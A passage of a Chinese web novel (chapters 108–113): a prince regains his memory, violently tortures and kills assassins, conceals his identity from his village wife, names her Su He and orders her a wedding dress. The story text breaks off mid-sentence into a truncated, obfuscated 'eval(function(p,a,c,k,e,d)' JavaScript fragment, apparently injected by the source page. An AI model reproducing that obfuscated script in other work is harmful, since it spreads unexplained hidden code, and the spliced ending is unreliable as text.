这一个吻十分的漫长,以至于吻结束时,丑丫已经躺在了床上,身上的衣服被扯的凌乱,衣襟里还有一只灼热的大手。 她面色潮红,如三月的桃花,眼神空空地望着顶上的帐幔,好像在回味刚才激烈的纠缠。 等她回过神来时,只感觉胸口处沉沉的,低头一看,那只大手还在她衣裳里。 她本来还红润的脸色瞬间又爆红起来,忙将那只手给扯开,慌忙拉了拉自己的衣裳。 阿福还从来没有这么触碰过她,她一时间有些不适应。 但一看身旁的男人,他好像正难受着,努力平复着自己的喘息。 掌心脱离那抹绵软、滑嫩的触感,褚千辞心里微微一叹,有些不舍,但是想想现在身上那股难受的感觉,他又骂自己自作自受。 他现在还不能要了小姑娘,至少要给她一个婚礼,让她名正言顺地当自己的妻子。 想到这儿,他就替小姑娘委屈了,变傻的他,只知道傻憨憨地认娘子,却没有给小姑娘一个堂堂正正的婚礼,让她就这么不明不白的跟了他。 养了几日的伤,褚千辞身体已经完全没了异样这几日,他都执着于一件事,给小姑娘补身体。 这几晚抱着小丫头睡觉,他都感叹她太瘦了,本就长得娇小,身上又没多少肉,看上去就是一只小可怜。 更别说她之前还流了那么多血,血可不好补回来。 丑丫被迫吃了几天的大补汤,只觉得自己快要被补得流鼻血了。 补药喝多了的结果就是人容易燥热,在晚上亲亲这件事上就变得格外主动,褚千辞每晚都痛并快乐着,觉得再这样下去,他的命都得交在这小丫头手里。 这一夜,月黑风高,褚千辞和丑丫耳鬓厮磨一番后,将小姑娘给哄睡着,然后点了她的昏睡穴,让她陷入沉睡。 他穿了一身已经洗得发白的衣裳,他的衣裳可都是小姑娘一针一线缝出来的,去解决那些人,不能脏了小姑娘做的新衣裳。 腰盘软鞭,手握长剑,他没开院门,脚尖在墙角借了力便飞出来小院,在月色下运着轻功,动作迅速地朝着镇外的方向掠去。 到了无人的郊外,褚千辞环视四周,对这个位置很满意,很适合杀人抛尸。 他从怀中掏出当初从云谲手上抢过来的信号弹,对着天空发射,夜空下,红色的烟火格外的醒目。 对于云谲这个他曾经的属下,他再清楚不过,他做事惯会留后手,他们还有接应的人。 信号弹发出后,不过半个时辰就来人了,六个黑衣人捂得严严实实,与夜色融为一体。 他们腰间挎着长剑,轻功娴熟,只看周身的气势便知他们武功不低。 黑衣人到达地方,环顾四周却没发现人,一瞬间,他们便知道自己中计了,刚想撤退,却见一抹高大的身影从夜色中走出,挡住他们的去路。 褚千辞手持长剑,冷笑一声:“来了还想回去?看来你们和本王那二皇兄一样,都格外的天真!” 黑衣人闻言都大吃一惊,其中一人气愤道:“褚千辞,你没傻!” 云谲给他们传过信,说褚千辞确定已傻,解决他无需费力,可现在又是什么情况? “想知道本王傻没傻,试试不就知道了?” 褚千辞语气淡然又镇定,带着嘲讽,恍若眼前的几个黑衣人不过是蝼蚁。 他主动出击,速度快如残影,那道骇人的威压逼迫得黑衣人方寸大乱。 褚千辞是什么人啊,那可是年少成名的战场杀神,是权倾朝野的睿王,他们这些人,不是他的对手。 恢复了记忆的褚千辞,那武功愈发高深莫测了,招式更是充满杀戮气息,残暴、迅速又果断地收割着人的性命。 六个黑衣人的武功已经算得上是出类拔萃,可是六人对上褚千辞一人,还是被打得毫无招架之力。 人倒下了一个又一个,最后一个黑衣人见逃跑无望,一咬牙,准备咬碎牙中藏的毒药自尽,可褚千辞的速度却比他快。 从腰间摸出一块小石子,手指一弹,那颗石子便飞射而出,击中了黑衣人的下巴,下巴应声脱臼。 黑衣人疼得眼冒泪花,反击的动作便出现了迟钝,而就在这时,褚千辞的剑已经近了他的身,剑花一转,割断了他的手筋和脚筋。 黑衣人就如同一滩烂泥一般瘫在地上起不来,脱臼了的下巴没办法活动,只能满眼惊恐地瞪着褚千辞。 褚千辞走到他身边,利剑抵在他的脖间,冰冷又骇人的气势震慑得黑衣人止不住发抖。 “回答本王,褚凌云派了多少人来杀本王?你们是否还有人接应?” 褚凌云是当今二皇子端王,贵妃之子,地位仅次于太子,野心勃勃,视几个阻挡他夺嫡的弟兄为眼中钉,肉中刺。 而皇子中,最优秀的褚千辞是他最忌惮的。 黑衣人不想回答,逼着一眼等待死亡。 褚千辞看着他一心求死的样子,冷笑神冰冷刺骨。 “看来,本王不过失踪一年,你们就忘了本王的手段了,以为想死那么容易?” 说着,他剑锋一转,直直刺向黑衣人的掌心,将掌心贯穿,鲜血淋漓。 黑衣人疼得抽搐挣扎,大喊大叫,但因为下巴脱臼,每喊一声,牵扯着下巴疼,凄厉的惨叫声在黑夜的郊外回荡,听着很渗人。 但褚千辞的动作并未因此停下,拔剑,再刺穿他的另一只掌心,就连两只脚也没放过。 黑衣人疼得不停地抽搐,眼中是浓烈的恨意:“有本事你杀了我啊!” 下巴脱臼的他说话含糊不清,但褚千辞还是听懂了。 他眉毛一挑,恶劣得像地狱的恶鬼:“杀了你?那么轻易的死法,你配吗?” “放心,本王熟知人体的各处穴位、筋脉,就算给你捅上数十剑你也不会死,本王会避开致命的地方,直到将你捅成个筛子,丢进水里,再捞起来,能漏水的那种。” 第109章 你恢复记忆了? 褚千辞说着,手上也开始行动,避开黑衣人身上各个致命的部位,一剑又一剑,不疾不徐地往他身上扎。 黑衣人从最开始的凄厉惨叫,到后来再也叫不出声,世上最痛苦的事情也莫过于此,想死却死不了。 “我说,我说!” 他们是死士,受过训练,可是眼前这人是魔鬼,他根本承受不住他的折磨。 可褚千辞似乎并不满意,他笑着,笑得黑衣人胆颤。 “你怎么能现在就说呢?你可是死士,死士不能这么轻易就招供,褚凌云没教你们吗?” 他手里的剑又往黑衣人身上扎了两下,才好心情道:“说吧,趁本王现在有心情听你说。” 黑衣人眼神惊惧,不敢和褚千辞对视,语气结结巴巴地交代:“还有还有五个人,不过他们在县里” 他们是二皇子的死士,这次来西南地区,除了找出去褚千辞以外,最主要的一个任务是查案,县里的几个人在明,负责查案,而他们死士则在暗,负责杀褚千辞。 他们所要查的这个案子,也是褚千辞当初来西南地区的原因,没想到一年多了还是没破获! 褚千辞听到了自己想知道的,从黑衣人手里拿到了联系县里那几个的方式,然后便一剑给了他一个痛快。 死之前,黑衣人一脸的解脱,他们这些死士,怕的不是死,而是生不如死的折磨。 死尸遍地,为了不引起别人注意,褚千辞大半夜挖坑埋尸,做完这一切,再踏着月色回家。 身上沾染了血腥气息,他先洗了澡,然后才钻进被窝里搂着小姑娘睡觉。 被点了昏睡穴,丑丫睡得很熟,对身边人半夜出门的事一无所知。 日子日复一日的过着,丑丫和褚千辞像以往一样经营着小面馆,没人来找茬和惹事,日子过得很平静。 褚千辞经常夜里出门,去解决那些隐藏在暗中的绊脚石,以至于他哄丑丫睡觉,再点昏睡穴这一套操作变得越来越熟练了。 这一夜,褚千辞还是像平时那样,拥着小姑娘入眠,等确定她昏睡过去之后,再起床,轻手轻脚穿衣准备出门。 而就在他开门踏出一只脚时,身后响起一道淡淡的嗓音:“你去哪儿?” 一向杀人不眨眼的褚千辞居然被这道不轻不重的声音吓了一跳,他转身,就见丑丫已经坐了起来,目光幽幽地看着他,表情很平静,平静得让他有点心慌。 可是他也诧异,被点了昏睡穴的她怎么会突然醒来? 或是,她根本就是在装睡! 褚千辞想通这一切,心里慌了起来,小姑娘的样子看着好像很生气,他该如何解释? “娘子” 他开口想解释,可丑丫却一脸平静地打断他的话:“你恢复记忆了?” 虽是问句,可她的语气却很笃定。 褚千辞张了张口,不知该如何说,只能点了点头:“嗯。” 丑丫放在膝盖上的手一紧,心也咯噔了一下,虽然她早已猜到,可是亲口听他说起来时,还是忍不住地会有异样。 她沉默着,不知道该如何形容此时复杂的心情。 肯定是替他高兴的,他那么优秀,不应该一辈子当一个智力不健全的人,可是高兴之余,她又有些惆怅。 他为何不告诉她他已经好了的事情,而是要瞒着她?是后悔了吗?后悔与她这么丑、这么普通的女人扯上关系。 她也有些心酸,既然他恢复了,那是不是不久就要离开她了? 想到这些,她便觉得心头堵得难受,泪意在眼中酝酿。 褚千辞看她这样子,便知道她是误会了,忙走过去,蹲在她跟前,他各自高,蹲在床边时,视线与床上坐着的丑丫差不多齐平。 他搂着她的肩,让她注视着自己的眼睛,说得很认真:“不要胡思乱想,我没有告诉你我好了,是因为我接下来要做的事情有危险,我怕你担心。” “你是我娘子,我喜欢你,这是事实,无论我是傻子,还是恢复正常,我的心意都不会变。” “你懂我说的吗?” 他实在太认真,那双眼眸褪去了以前的清澈懵懂,现在是深情又幽深,仿佛与他对视,就会彻底地陷进去。 丑丫的眼泪落了下来,又哭又笑,此刻,她的所有小委屈得到了安慰。 若说她矫情,或许是吧,只要和这个男人牵扯上,她就变得矫情得要命,一点小事情都会让她掉眼泪。 “嗯。” 她又哭又笑地应着,声音乖软,听得褚千辞的心也随之变软。 他摸了摸她的头,轻笑着:“又哭又笑的,像只小花猫。” 丑丫被他说得有些脸红,以往都是她像哄小孩一样哄着他,现在他恢复正常了,换成了他来哄她,她还有些不适应。 褚千辞知道现在还有太多的事情没和小丫头说清楚,但今晚他要去解决几个人,到了收网的时候,不出手,便只能让他们逃掉。 他安慰好丑丫,让她在家中等他,之后便踏入月色中,身形快如鬼魅。 丑丫目送他离开,心情忽上忽下的,担心他的安危,也担心他们的未来。 他定然不会是一个普通人,纵然像他说的那样,他喜欢她,他认她,可他的家人呢?他们能接受一个天之骄子的他娶一个丑女人吗? 这一夜,褚千辞出门的时间很长,黎明时分也没见他的身影,他彻夜未归,她便彻夜未眠。 终于在天空泛起鱼肚白时,男人从院门外飞身落下,丑丫就坐在屋檐下等着他。 仲秋的清晨已经有些凉,褚千辞大步朝着丑丫走来,先摸了摸她的手,冰凉一片,不由蹙眉:“怎么不再屋里等,外面这么冷。” 丑丫没说话,只笑着由着他牵手,只有她知道,这一刻,她的心才落了下来。 褚千辞的心情有些好,眉宇间都带着笑意,褚凌云派来的人都被他解决了,暂时不会再有人来伤害他和小姑娘。 至于以后,他会带着小丫头回京城,将她保护得严严实实的。 只是目前还不能,他一年多未归京,不知道如今的形式已经演变成什么情况,也不确定他的部下是否还忠于他,。 毕竟就连云谲那种他当初视为心腹的人居然也背叛了他,在紧要关头给了他致命一击,让他变成一个傻子。 不过他也要感谢他,若不是他下的狠手,他也不会遇上小丫头。 第110章 顾珩川,给我取个名字好不好? 厅堂内 丑丫难得严肃,与褚千辞面对面坐着,似是要与他商议十分重要的事。 褚千辞也随着她,他们之间,的确有很多事情需要说开。 丑丫略微有些局促地捏着自己的手,好一会儿才小声问道:“你现在恢复正常了,打算以后怎么办?” “还和我待在这个小面馆吗?还是你要离开?” 她不敢看褚千辞的眼睛,鼓起勇气,将自己的想法都说了出来:“你说过你喜欢我,我感受到了,可是喜欢不只是我们两个人的事情,你的家人会同意我们在一起吗?” “我知道你身份不一般,和你在一起是我高攀了,如果选择我会让你为难的话,我可以离开,只要你和我说一声就行。” “还有,我们现在还有二百多两银子,你要是离开的话,可以带走二百两,剩下的零头和这座小院留给我就行了。” 丑丫冷静的将自己的心里话都说了出来,这是她想了许久的,压在她心里压得难受,现在终于说了出来,她觉得自己轻松了不少。 面对这个男人,她是自卑的,极度自卑。 她时常会想,这么优秀的男人怎么会喜欢她呢?她又丑又穷,一无是处,他为什么要喜欢她呢? 假如他们最终真的在了一起,那走出去,迎来的也只会是别人质疑的目光,他们会说,那个丑八怪怎么有脸霸占一个这么好的男人的、他们站在一起根本不配! 她可以劝别人不在意别人的眼光和流言蜚语,可是轮到她自己的时候,她才发现,并不是所有事情她都可以做到视若无睹的。 他是傻子的时候,她可以安慰自己,丑八怪配傻子,半斤八两,可现在他恢复正常了,她开始惶恐了。 褚千辞听完她的话,脸色沉了下来,那阴沉沉的样子看得丑丫有些怂,缩了缩脖子。 褚千辞气笑了,感情他之前说这么多,这丫头一点都没听进心里! 可是想到小姑娘过往的遭遇,他又头疼地将脾气给压制下来,他一遍又一遍告诫自己,小姑娘因为之前的遭遇有些自卑,他得哄着她。 将脾气压下去后,他注视着坐在他对面,低着头数自己的小姑娘,放柔了声音问:“所以,你是想赶我走吗?” 丑丫听到这话,蹭一下抬起头,摆手的同时狂摇头:“不是不是!” 她怎么可能会赶他走,她巴不得他一辈子留在自己身边呢! 可戏精褚千辞上线了,估计曲解小姑娘的意思。 他轻轻叹气,神色中流露出悲伤:“行了,你不用说了,我知道,你只喜欢以前的傻子阿福,嫌弃现在的我,我走就是了。” 男人演得太像,演技入木三分,丑丫彻底的慌了,看男人站起身就准备走,她忙拉住他的手。 “不是,我真的不是赶你走,我舍不得你走” 她语无伦次,着急得小脸都发红了,可褚千辞还不收手,继续飙戏。 “钱你不用分给我,你留着自己用就好了,我一个大男人,睡几晚街头和桥洞都是无所谓的。” 丑丫的脑袋乱糟糟的,思绪不由自主的随着他想到他可怜兮兮地蜷缩在大街和桥洞底下的场景,顿时,她就鼻酸了。 “我不要你走,你不许走!” 她话里带了哭腔,褚千辞这才停下脚步,转身,将委屈巴巴的小姑娘拉进怀里搂紧。 “这才对,我是你的,你应该态度强硬地表达你的情绪,不必委屈自己,想或不想,直接说出来。” “记住了吗?你可以很直接地和我表达你的情绪,甚至是吼我,骂我,将我当做你的出气筒,要是实在不高兴,就咬我两口,委屈了别人也不能委屈你自己。” 褚千辞像个老父亲一样教着、哄着他的小姑娘,他心里长叹一口气,有些无力,小姑娘容易自卑,轻视自己,这和她十多年来的生活有关,他想一时半会儿改变她,是不可能的。 他突然惆怅起来,本来想将自己的身份全盘告诉小姑娘的,现在却有些犹豫。 他是褚千辞,当今皇上第四子,睿王,民间或许还有许多关于他的传说,这样的身份在别人看来,无疑是耀眼的、威风的,可他却觉得头疼。 小姑娘本就自卑,若告诉她,他是个王爷,肯定会给她带来压力,到时候要是直接不要他了,那他可就得不偿失了。 头一次,褚千辞因为自己的身份太高而自卑了。 想了许久,他做了一个决定,先不告诉小姑娘他的真实身份,一步一步来,让她先接受现在的他,之后再接受身为睿王的他。 厅堂中,褚千辞坐在凳子上,将丑丫直接抱在了怀里,让她坐在自己的腿上,两人就这样交谈着。 “阿福,你叫什么啊?你是做什么的?” 丑丫的情绪已经被哄好了,现在就乖巧的靠在他怀里。 褚千辞的下巴抵在她的头顶上,声音轻缓:“记住了,我叫顾珩川,君子如珩,海纳百川。” “我是睿王府的一个暗卫,来西南帮睿王查案子,结果遭遇同伴叛变和埋伏” 他将他之前的事情事无巨细的给丑丫讲了一遍,只不过变了身份,他从睿王,变成了睿王府的一个暗卫。” 丑丫听着他讲的那些事,只觉得陌生极了。 王府、暗卫、查案 这一切都与她这个小农女毫不沾边。 她静静的听着,玩着他胸前的衣裳,将他的衣襟都给玩皱了,待他说完,她喃喃他的名字。 “顾珩川,真好听。” 褚千辞没说话,心里有些愧疚,不过珩川是他的小字,顾是他母妃的姓氏,鲜少有人知道他的小字,比起褚千辞这个名字,他更喜欢顾珩川,或许这样,也不算骗她了吧。 “顾珩川,你真的是暗卫吗?” 丑丫抬眸望着他,她觉得男人身上的气势鬼不可攀,不应该只是一个暗卫。 褚千辞微微头疼,哀叹小姑娘还真难哄。 他脸不红心不跳继续道:“当然,王府的暗卫很多,我们都要接受专门的训练,气质和形象都不能太差,不然走出去会丢睿王的脸。” 丑丫信了,她没见过皇亲贵胄,但像睿王那样的存在应该是眼高于顶的,对手下的要求应该也会很高。 同时,她心里也暗暗希望顾珩川只是一个暗卫,他只是一个暗卫她都高攀了,若他还有更高的身份,她更配不上他了。 褚千辞见她不再追问,暗自松了口气,再问下去,他真的找不到说辞了。 好一会儿,丑丫又闷闷的开口:“顾珩川,我不想叫丑丫了,你给我取个名字好不好?” 第111章 枝叶扶苏,风禾尽起 他叫顾珩川,名字多好听,而她却连个正式的名字都没有。 以前她叫丑丫,他叫阿福,两个名字放在一起,不觉得差别很大,可是他现在变成顾珩川了,不是村里的狗蛋、狗剩、二麻子,她也想要一个能配得上他的名字。 褚千辞听着小姑娘闷闷的声音,心疼的摸了摸她的脑袋:“好,那你和我姓?以我之姓,冠你之名,我们两个永远都是一家人。” 丑丫想了想,好像和他姓也挺好的,就算不和他姓,她以后也大概会被叫做顾氏。 以前别人叫她阿福娘子,那她以后就是顾娘子。 但突然间,她又想起了那块从村里小院挖出来的玉佩,那个苏字和她有关系吗?或许她应该姓苏? 她从褚千辞怀中站了起来,跑回房中将那块一直小心保存着的玉佩给拿了出来。 “顾珩川,你说,我会不会姓苏啊?” 褚千辞接过那块玉佩,之前痴傻时不懂这块玉的价值,可现在拿在手里,他发现,这块玉是上好的羊脂玉,雕花精美,做工出色,价值不菲,不是一般的平民能拥有的。 上面刻有的那个苏字,不知道象征着什么意思。 不知为何,丑丫第一次拿到这块玉佩就觉得很亲切,好像他们冥冥之中有什么联系一般。 她将自己的感觉告诉了褚千辞,褚千辞笑着道:“那就姓苏,或许这是你父母给你留的。” 无论姓苏还是姓顾,她都会让她刻上他的烙印,他叫顾珩川,那她就是顾苏氏,他叫褚千辞,她就是褚苏氏。 丑丫展颜一笑,期待地等着男人给她取名字。 褚千辞蹙眉深思,片刻后道:“枝叶扶苏,风禾尽起,你叫苏禾好不好?” “苏禾” 丑丫念叨了两遍这个名字,第一次拥有一个正式名字的她有些激动。 “是禾苗的禾吗?” “嗯。” “那我喜欢!” 小姑娘开心地蹦了一下,她终于也有名字了,从今天开始,她就叫苏禾了,不再是像小流浪狗一样因为外观被冠上的、大黑一样的名字。 褚千辞见小姑娘的开心样,心痒痒的,他伸手将小姑娘拉倒自己身边,苏禾没站稳,身体向后倒,惊呼声中落入一个坚实温暖的怀抱。 褚千辞搂着她,像抱小孩一样抱在腿上,低头亲了一口她的脸颊:“这么开心?” 苏禾害羞的将脑袋往一旁躲,可是根本躲不开,被他追着亲,两人笑闹成一团。 等男人终于亲够了,苏禾才红着脸说:“喜欢,因为这是顾珩川给我取的名字。” 褚千辞的心暖暖胀胀的,小姑娘依偎在他怀里的样子真的很乖巧,乖巧到他以为他在养女儿。 说来他今年已经二十五了,而小姑娘才十七,他比她大了整整八岁,好像是有些老了。 想到女儿,他心里突然升起了一阵浓浓的期待,小姑娘生的,像她这样小小软软一团的小团子,该有多可爱。 以后,他一手抱一个,出门还可以和别人说,他家孩子娘和孩子的名字都是他取的。 越想他就越期待了,恨不得能现在就和小姑娘生孩子,苏禾要是知道他此时心里想的,肯定会害羞的赶紧逃跑。 恢复了正常的男人,她有些扛不住了,以前和心智不全的他相处,她有时会觉得像在带孩子,有时候又会觉得他是个单纯老实的大男孩。 但现在,她切实的感受到,他是一个耀眼的、对她有致命吸引力,同时也时时刻刻蛊惑着她的男人! 两人腻歪着,谁也不想离开谁,苏禾的小手玩着男人的大手,捏一捏他的指头,或是抠一抠他的掌心。 男人的手实在太大,可以完全包裹住她的小手,修长又好看,掌心虽然有些茧子,但是手背却很光滑。 这双手,应该是拿得了长剑,也拿得了笔杆。 苏禾捏着他的指头问:“顾珩川,你会写字吗?” 褚千辞被小姑娘玩着指头,就像被摸舒服了的猫咪一样,真个人带着一股慵懒的松弛感。 他点头:“会。” “那你教我好不好,我想学字。” 苏禾知道,她和他的差别太大,但她会努力提升自己,至少让他们的差距缩小一些。 “好。” 褚千辞有求必应只怕此时就算是小姑娘要他的命,他都会给出去。 自从让男人教她读书认字后,苏禾每天都认真地学习,白天和褚千辞一起经营面馆,休息的时候就看书学字。 她聪明又认真,不过几天的功夫,就已经学会很多字了。 桌案上放着的纸张写满了大字,一笔一划稚嫩得像孩童,她最先学会的是顾珩川这个名字,褚千辞看着小姑娘认真的写这个名字,他都有些吃自己的醋了。 什么时候才能让她写满满的褚千辞呢? 苏禾写了满满一张的顾珩川,心满意足的拿起来吹了吹墨,她现在至少能把这三个字像模像样了。 写了一张“顾珩川”,她又写了一张“苏禾”,褚千辞见她那么刻苦认真,走到桌边,捏住她的手,一笔一划带着她写了一个全新的字。 苏禾还没学过这个字,好奇地眨巴着眼睛:“这是什么字啊?” 褚千辞没回答,笑着将她刚才写的满满两张的“苏禾”和“顾珩川”给摆好,将刚才写的那个字摆在两张纸中间。 “爱,苏禾爱顾珩川。” 苏禾愣了片刻,反应过来他在说什么,小脸爆红,嗔了他一眼:“能不能矜持一点啊!” 褚千辞笑着挑眉:“不错,都学会用矜持这个词了。” 说着,他又捏着小姑娘的手在纸上写了起来:“这两个字就是矜持。” 苏禾被他逗得羞恼,像小猫一样挠他的手,不让他来捣乱,她还要继续学习呢! 褚千辞见小姑娘发威的样子,心情愈发的好了,挪动了一些桌上纸张的位置,声音温柔得像哄小孩。 “既然矜持的苏禾不想爱顾珩川,那就换成不矜持的顾珩川爱苏禾。” 苏禾被他逗得乐不可支,也不赶他走了,就让他站在自己身后,握着她的手,教她写字。 他的字很好看,尽管她没念过书,只看一眼,她就觉得他的字好看。 气势磅礴,力透纸背,狂狷不羁,给人的感觉如同满天黄沙的战场上,少年将军挥斥方遒,横扫千军。 第112章 你家男人在外面偷吃 八月过完,到了秋高气爽的九月。 苏禾发现顾珩川最近有些奇怪,经常出门,问他去干嘛,他都只敷衍说是去赌坊和善堂处理些事情。 这不对劲,很不对劲! 照往常,他出门,不管做什么,都会事无巨细地和她讲。 她心里虽疑惑,但也没自己追问,只当他是有什么十分重要的事要处理,可直到今早,隔壁店的嫂子来和她说话,告诉了她一个消息,让她的心情久久不能平静。 她说,她家阿福可能在外面偷吃,她已经撞见过两次他和一个漂亮女人走在一起。 苏禾是不信的,可是心情还是受到了影响,在顾珩川回家时,不受控制地观察他。 下午,苏禾心不在焉地做着饭,院门处传来门被推开的声音,不一会儿男人便阔步走进了厨房。 他心情似乎很不错,那张冷峻的脸上都带着浅浅的笑意,他走过来,从身后搂住她,蹭了蹭她的脖颈,这是他最喜欢的动作。 无论是痴傻时还是现在,都喜欢。 “我回来了,有没有想我?” 这一刻,苏禾是开心的,她的男人对她这么好,不可能会背着她和别的女人有情况,她信他! 可是下一瞬,她刚平复的心情又瞬间被激起了巨浪,鼻间传来男人身上那股熟悉又好闻的气息,像清冷的松香,可是里面却又夹杂着丝丝香甜的花香味。 这是女人的脂粉香,在大街上经常可以闻到,她不用脂粉,也不挂香囊,这味道不可能是从她身上沾染的。 她动作僵硬了片刻,不敢置信地又细细闻了闻那股陌生的气息,尽管她想忽视,却忽视不了。 褚千辞察觉到小姑娘的异样,眸中微微一闪,心里思忖,难道是被她发现了? 但就算是发现了,也不应该是这个反应,现在怎么看着像不开心? 他没想通,和小姑娘说了几句话后见她好像又不是生气,便将这件事压在了心底,没再多想。 夜晚,身边的男人睡着了,呼吸均匀,可是苏禾却睡不着,脑子里不受控制地回荡着隔壁嫂子今天和她说的话。 他真的在外面有女人了吗? 两人相处,最重要的是信任,虽然她也在一遍一遍告诫自己要相信他,可是她不自信,制止不了胡思乱想。 他对她那么好,应该不会抛弃她吧?可是为什么他最近都不碰她了呢? 以往,每晚睡觉前,他都会抱着她亲的,还会摸她,但最近,他都只搂着自己纯睡觉,每次外出回来,也似乎很疲惫。 脑子稀里糊涂地想了一个晚上,也没想出个所以然来,天明时,顶着两只憔悴的黑眼圈。 褚千辞醒来见小姑娘憔悴的样子,哄着她再睡一会儿,自己先起来去店里忙碌。 等下午关店时,他又出门了,只交代一句有事,苏禾张了好几次口,想问清楚他到底去哪里,终究没问出来。 恰在这时,隔壁的嫂子冒了出来,她鬼鬼祟祟,像做贼一般,将苏禾拉进店里,压低声音道:“我大概知道他去哪里,我都撞上两次了。” “妹子,你要是信我,我就和你走一趟,这男人可不能惯着,在外面有了一次,就会有数不清次,到最后能直接将外面的狐媚子接进家里来!” “你说这叫什么事,之前看他傻的时候话挺老实的,怎么现在刚好起来就开始有花花肠子了呢!” 那嫂子骂得义愤填膺,褚千辞恢复正常的事情,他们相处得好的几家店都是知道的。 她早就担心了,那男人长得好看,还是个傻子的时候街上就要不少的大姑娘小媳妇盯着他看,现在正常了还得了? 外面那么多狐媚子勾着,哪个男人能受得了? 苏禾面色白了白,不想按她说的那样去想顾珩川,她相信他一定是有什么原因才不告诉她的。 但是,她还没做出决定,就已经被嫂子给拽着走了,说是带她去捉奸。 这位嫂子显然是有经验的,估计经常这么跟踪她家男人,她带着苏禾往各种小巷子走,以免和褚千辞撞上。 因为抄近道的缘故,她们居然和褚千辞差不多一个时候到达地方,只不过苏禾被嫂子拉着躲在角落里了。 对面是一家成衣铺子,里面卖的衣服款式新颖,价格昂贵,一般都是镇上那些富户消费的地方,普通老百姓都是不会踏足的。 而褚千辞此时,正朝着店内走去,到门口时,店内一个衣着华丽、妩媚娇艳的女人扭着腰肢,手里拿着一把团扇出门来迎接,脸上满是笑意。 而褚千辞不知和她说了什么,两人说了两句话便走进了店内。 这一刻,苏禾的心都提了起来,那女人笑靥如花、妩媚娇艳的样子在她的脑海里挥之不去,不知不觉间,她掌心里已满是冷汗。 他真的不要她了吗? 一旁的嫂子已经开始骂骂咧咧了,朝着地上呸了一口:“呸!骚狐狸,看她那搔首弄姿的样子,妹子,走,嫂子带你抓奸去,老娘撕烂她那张脸!” 她说着,抓起苏禾的手就冲,但苏禾突然间就想退缩了,不敢去面对她心里最坏的那个猜测。 但嫂子是个急脾气,跺了跺脚道:“诶呦妹子,你可别急死我,男人都被狐媚子拐跑了,你还害怕个什么?大不了就一脚踹了他,再找一个就是了!” 就这么,糊里糊涂的,苏禾被嫂子给拽进了店,店内,褚千辞和那女人站在一起,正看着一件衣裳。 冲进了店,嫂子不等苏禾发话,就已经指着褚千辞的鼻子大骂:“好你个负心汉,薄情郎,家里有媳妇还来这里勾搭狐媚子是不是?” 这突如其来的怒骂让褚千辞和那女人回了头,褚千辞本来脸色黑沉,但是在看到苏禾时,诧异地睁眸。 店内的其他客人都因为这突如其来的声音观望了过来,一时间,苏禾和嫂子成为视线焦点。 苏禾不敢与男人对视,头低得恨不得挖个洞钻进去,她拽住身旁的嫂子,不让她继续说话。 褚千辞思索片刻便知道其中的误会,一时间有些无奈。 而她身旁的妩媚女人笑得风情万种,语气促狭:“这就是你家小姑娘?看来是把我当成你姘头了。” “不过我已经见怪不怪了,这也不是第一个了,要是我真有你这样一个姘头,我还挺高兴的。” 第113章 你的喜欢,我收到了,我亦然 周围的人已经开始窃窃私语,听了女人的话,苏禾愈发的无地自容,她知道,这里面肯定有误会。 褚千辞盯着低着头缩着脖子的小姑娘,不知道是该生气还是该觉得好笑,半晌后他只能无奈一笑,对苏禾道:“过来。” 苏禾抬眸看了他一眼,又迅速低下头,像做错了事的小孩,脚步磨蹭着朝他身边走去。 他应该很生气吧,她让他丢了脸,还这么不信任他。 看小姑娘那像鹌鹑一样畏畏缩缩的样子,褚千辞心里原本还有的那点小脾气立马化为了乌有,取而代之的是淡淡的心疼。 他一个大男人,和小姑娘计较什么呢,她还小,遇上这种事情,难免会感到不安。 苏禾走近,还是不敢抬头看男人,她怕看到他失望又生气的表情,但在她担忧之际,一双大手搂过她的肩膀,还是那样的结实有力。 “怕什么,我难道会吃人?” 褚千辞将她拉近,语气有些霸道,可是却像往常一样温柔,苏禾听得有些想流泪。 “看一看,你喜不喜欢?” 她还没说话,男人的话音便又传来,苏禾脑子晕晕乎乎的,有些湿漉漉的眼眸抬眸望向他,盯着他那张近乎完美的脸。 她声音弱弱的,软软的,细若蚊吟:“喜欢。” 褚千辞心情顺脚好了起来,但有些哭笑不得,他大手摸着小姑娘的脑袋,将她的脑袋转向面前的柜台上。 “问的是你喜不喜欢这件衣服,不是我。” “当然,你的喜欢,我收到了,我亦然。” 听着男人打趣的话,苏禾的笑脸瞬间通红,脑子反应了片刻,才知道原来自己闹了一个大乌龙。 她有些羞愤地将小手伸到褚千辞背后,像小猫一样挠他,褚千辞反手握住那只小手,眉宇间皆是笑意。 但他也见好就收,柔声哄着小姑娘:“本来想给你个惊喜,但既然你发现了,就看看这件衣服,你要是不喜欢,就让他们再改。” 苏禾看向男人所说的那件衣服,刹那间红了眼眶。 这是......嫁衣? 火红的衣裳,上面有金线绣出的图案,布料是她从未见过的,很滑、很闪,一看就知道很贵。 她嘴唇嗫嚅,好一会儿都没说出话,这是顾珩川给她准备的嫁衣吗? “为什么?” 她看着他,脑子被这个巨大的信息轰炸得有些晕晕乎乎,喉间有些酸涩,开口不知觉地带了些哭腔。 褚千辞没想到小姑娘会是这个反应,他以为,她会很开心,笑着夸他。 “你我之间还差一个婚礼,之前是我神志不全,考虑不周,但现在,我得补给你,别人有的,你也要有。” 他话还没说完,苏禾的眼泪就已经落下来了。 他怎么能那么好呢,她不需要什么仪式,和他在一起,是她义无反顾的选择,不需要谁的见证,不需要别人的祝福,只要他在身边就已经足够了。 褚千辞蹙眉,抬手抹去小姑娘掉落的眼泪,心道小丫头怎么这么爱哭呢。 站在一旁的成衣铺子老板娘将两人的互动看在眼里,手中团扇轻摇,万种风情的眼中有丝丝笑意。 她开店这么多年,什么样的客人都见过,但还是第一次见眼前这个男人这般优秀的人,容貌、气度、身姿,无一不是万里挑一。 就是这样一个龙章凤姿的男人,那天进了她的店,说要给他家小姑娘订制一套嫁衣,她感叹许久,又是为别人的爱情流泪的一天。 她那时候想,到底是何等芳容的姑娘等得到这个男人的青睐,并且会亲自来给她订制嫁衣,她一定是像个天仙一样吧。 但是今日一见这小丫头,与她之前幻想的形象没有一个是符合的,可她却更感动了,不在乎外貌、不在乎身份的爱情能有几何。 她不会觉得人家小丫头配不上这个耀眼的男人,反而是欣赏,被优秀的人喜欢,那她身上自然也是有吸引人的优秀点的。 老板娘看着看着,就有些微微心梗了,这样的爱情,什么时候才能轮到她呢! 她适时出声,拉过苏禾,将那一件精美的嫁衣拎起来,展开在她面前。 “快看看吧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 